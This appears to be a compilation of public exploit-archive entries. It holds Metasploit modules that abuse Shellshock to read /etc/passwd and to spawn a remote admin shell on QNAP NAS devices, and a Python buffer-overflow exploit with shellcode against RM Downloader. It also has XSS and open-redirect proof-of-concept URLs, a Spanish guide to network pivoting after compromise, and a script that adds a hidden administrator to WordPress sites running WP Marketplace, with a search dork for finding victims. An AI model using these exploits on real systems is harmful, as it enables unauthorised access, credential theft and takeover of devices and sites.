      OptString.new('CMD', [ true, 'The command to run', '/bin/cat  /etc/passwd'])
    ], self.class)
  end

 def check
	begin
 	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; /usr/bin/id"
      })
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
		vprint_error("Connection failed")
		return Exploit::CheckCode::Unknown
 end
	
    if !res
      return Exploit::CheckCode::Unknown
    elsif res.code== 302 and res.body.include? 'uid'
	  return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
	

  def run

	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; #{datastore['CMD']}"
      })
	
	if res.body.empty?
		print_error("No data found.")
	elsif res.code== 302
		print_status("#{rhost}:#{rport} - bash env variable injected")
		puts " "
		print_line(res.body)
    end
	end
	
end
HireHackking 
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Related Vulnerability/ies:
#    http://www.exploit-db.com/exploits/8628/
#POC:
#IMG1:
#http://i.imgur.com/87sXIj8.png
from struct import pack
file="crack.ram"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
         "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
          "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
HireHackking 
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'
require 'net/telnet'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell

   def initialize(info = {})
    super(update_info(info,
      'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection',
      'Description' => %q{
		This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection.
		Affected products:
		All Turbo NAS models except TS-100, TS-101, TS-200
		},
      'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
      'License' => MSF_LICENSE,
      'References' => [
			['CVE', '2014-6271'], #aka ShellShock
			['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
		],
      'Platform'       => ['unix']
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
      OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993'])
    ], self.class)
  end

 def check
	begin
 	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; /usr/bin/id"
      })
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
		vprint_error("Connection failed")
		return Exploit::CheckCode::Unknown
 end
	
    if !res
      return Exploit::CheckCode::Unknown
    elsif res.code== 302 and res.body.include? 'uid'
	  return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
	

  def exploit_telnet()
    telnetport = datastore['LTELNET']

    print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")

    print_status("#{rhost}:#{rport} - Sending exploit")
    begin
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

      if sock
        print_good("#{rhost}:#{rport} - Backdoor service spawned")
        add_socket(sock)
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned")
      end

      print_status "Starting a Telnet session #{rhost}:#{telnetport}"
      merge_me = {
        'USERPASS_FILE' => nil,
        'USER_FILE'     => nil,
        'PASS_FILE'     => nil,
        'USERNAME'      => nil,
        'PASSWORD'      => nil
      }
      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled")
    end
    return
  end

  def run
	begin
	telnetport = datastore['LTELNET']
	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &"
      })		    
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
           Rex::HostUnreachable => e
      fail_with(Failure::Unreachable, e)
    ensure
      disconnect
    end
	exploit_telnet()
    
  end
	
end
HireHackking

Cuando comprometemos un equipo, mientras lo enumeramos, es probable que veamos que tenga acceso a otros equipos o incluso redes, que nosotros no tenemos acceso directamente.

Esto quiere decir, que tendremos que usar el equipo comprometido como «máquina de salto», para poder tener acceso a redes internas y otros equipos. Este proceso se puede repetir de forma recursiva.

Ejemplo gráfico:

pivoting 1

En esta imagen como vemos, de toda una red empresarial nosotros solo tenemos acceso a un equipo, el cual actúa de frontera entre la red interna y externa. Es a través de él, por el cual ejecutamos un pivoting para saltar a otro equipo, y repetimos el proceso, hasta llegar como vemos a un servidor crítico.

Básicamente, la metodología completa es la siguiente:

  1. Pivoting
  2. Enumeración Post-Explotación
  3. Explotación
  4. Vuelta al punto 1

En este aspecto, una vez hemos comprometido un activo, la enumeración para poder darnos cuenta de la existencias de otras redes o equipos variará en cada caso, sin embargo, si que hay ciertos patrones que se mantienen de forma general que podemos seguir.

Podemos empezar comprobando la caché ARP del equipo en busca de nuevas IPs, tanto en windows como en linux se puede ver mediante el comando arp -a.

Posteriormente, podemos echar un vistazo a los archivos hosts, la ruta de este archivo es la siguiente:

  • Linux –> /etc/hosts
  • Windows –> C:\Windows\System32\drivers\etc\hosts

En linux quizás también podría ayudarnos el archivo /etc/resolv.conf para descubrir servidores DNS. Una alternativa a este archivo es ejecutar el comando: nmcli dev show. Lo equivalente en windows sería usar el comando ipconfig /all.

También podríamos comprobar en Linux la tabla de routing, con el comando route -n o ip route. O ver si ya hay alguna conexión establecida con algún host con el comando netstat -auntp.

Por último, no olvidar comprobar las distintas interfaces de red que tenga el equipo:

  • Linux –> ifconfig, ip -4 addr, /proc/net/fib_trie
  • Windows –> ipconfig

En este punto, ya la enumeración adicional dependerá de cada caso, pero en lineas generales, ésto es lo común.

Una vez tenemos la información de a que equipos o red queremos llegar, la acción de hacer pivoting se puede llevar a cabo usando:

  • Herramientas preinstaladas en el equipo comprometido.
  • En caso de no tener, usar binarios estáticos de herramientas.

La diferencia entre un binario estático y uno dinámico es la compilación. La mayoría de programas hacen uso de librerías externas para su funcionamiento. El binario estático trae con la compilación estas librerías que requiere el programa, sin embargo, un binario dinámico las requiere del sistema operativo, esto quiere decir que necesitas que el sistema operativo tengas esas librerias, ya que sino no funcionará. Por lo que el binario estático te soluciona posibles problemas de dependencias.

  • Scripting.
  • Proxies.

Los proxies deben ser la última opción a usar, ya que éstos además de ser un poco lentos, suelen tener limitaciones sobre el tipo de tráfico que pueden transmitir, es decir, que por ejemplo, con un proxy TCP, no vas a poder hacer uso de tráfico UDP.

Ésto es todo en cuanto a que podemos usar para ejecutar pivoting.

Volviendo a la idea general del pivoting, hemos comentado mucho que su fin es acceder a otros equipos los cuales no tenemos accesos porque no están en nuestra red. Sin embargo, éste no es el único uso, el pivoting puede servirnos incluso para un equipo el cual ya tenemos acceso directamente.

Por ejemplo, puede que en ciertas ocasiones, un equipo no nos muestre todo los puertos abiertos que de verdad tiene, o que nos bloquee de distintas formas. Podemos en estos casos intentar hacer lo mismo pero a través de otro equipo de la misma red. Quien sabe si de la forma que está configurado, tiene una lista blanca de a que equipos bloquear o no X cosas.

Saber hacer pivoting también nos puede servir para mostrar externamente o tunelizar puertos que solo están abiertos de forma interna en la máquina, para así, poder interactuar desde fuera o desde nuestro equipo directamente.

Por eso mismo, el pivoting no solo es útil para acceder a otras redes, sino que también nos puede servir para interactuar con equipos de nuestra propia red.

HireHackking 
source: https://www.securityfocus.com/bid/51261/info

Limny is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Limny 3.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/login.php/"/><script>alert(&#039;zsl&#039;)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51260/info

Orchard is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Orchard 1.3.9 is vulnerable; other versions may be affected. 

http://www.example.com/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fwww.netsparker.com%3f
HireHackking 
source: https://www.securityfocus.com/bid/51258/info

GraphicsClone Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/search/?term=<script>alert(document.cookie)</script>
HireHackking 
#!/usr/bin/python
#
# Exploit Name: WP Marketplace 2.4.0 Remote Command Execution
#
# Vulnerability discovered by Kacper Szurek (http://security.szurek.pl)
#
# Exploit written by Claudio Viviani
#
#
#
# --------------------------------------------------------------------
#
# The vulnerable function is located on "wpmarketplace/libs/cart.php" file:
#
# function ajaxinit(){
#     if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
#	    if(function_exists($_POST['execute']))
#		    call_user_func($_POST['execute'],$_POST);
#	    else
#		    echo __("function not defined!","wpmarketplace");
#	    die();
#	  }
#}
#
# Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook).
# wpmp_pp_ajax_call() call functions by call_user_func() through POST data:
#
#         if (function_exists($_POST['execute']))
#             call_user_func($_POST['execute'], $_POST);
#         else
#         ...
#         ...
#         ...
#
# $_POST data needs to be an array
#
#
# The wordpress function wp_insert_user is perfect:
#
# http://codex.wordpress.org/Function_Reference/wp_insert_user
#
# Description
#
# Insert a user into the database.
#
# Usage
#
# <?php wp_insert_user( $userdata ); ?>
#
# Parameters
#
# $userdata
#     (mixed) (required) An array of user data, stdClass or WP_User object.
#        Default: None
#
#
#
# Evil POST Data (Add new Wordpress Administrator):
#
# action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator
#
# ---------------------------------------------------------------------
#
# Dork google:  index of "wpmarketplace"
#
# Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

banner = """
    ___ ___               __                                         
   |   Y   .-----.----.--|  .-----.----.-----.-----.-----.           
   |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|           
   |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|           
   |:      |                |__|                                     
   |::.|:. |                                                         
   `--- ---'                                                         
       ___ ___            __          __         __                  
      |   Y   .---.-.----|  |--.-----|  |_.-----|  .---.-.----.-----.
      |.      |  _  |   _|    <|  -__|   _|  _  |  |  _  |  __|  -__|
      |. \_/  |___._|__| |__|__|_____|____|   __|__|___._|____|_____|
      |:  |   |                           |__|                       
      |::.|:. |                                                      
      `--- ---'                                                      
                                                          WP Marketplace
                                                      R3m0t3 C0d3 Ex3cut10n
                                                         (Add WP Admin)
                                                             v2.4.0

                               Written by:

                             Claudio Viviani

                          http://www.homelab.it

                             info@homelab.it
                         homelabit@protonmail.ch

                   https://www.facebook.com/homelabit
                      https://twitter.com/homelabit
                    https://plus.google.com/+HomelabIt1/
           https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )

options, remainder = commandList.parse_args()

# Check args
if not options.target:
    print(banner)
    commandList.print_help()
    sys.exit(1)

host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()
pwd = id_generator()

body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call',
                         'execute' : 'wp_insert_user',
                         'user_login' : username,
                         'user_pass' : pwd,
                         'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

print "[+] Tryng to connect to: "+host
try:
    req = urllib2.Request(host+"/", body, headers)
    response = urllib2.urlopen(req)
    html = response.read()

    if html == "":
       print("[!] Account Added")
       print("[!] Location: "+host+"/wp-login.php")
       print("[!] Username: "+username)
       print("[!] Password: "+pwd)
    else:
       print("[X] Exploitation Failed :(")

except urllib2.HTTPError as e:
    print("[X] "+str(e))
except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))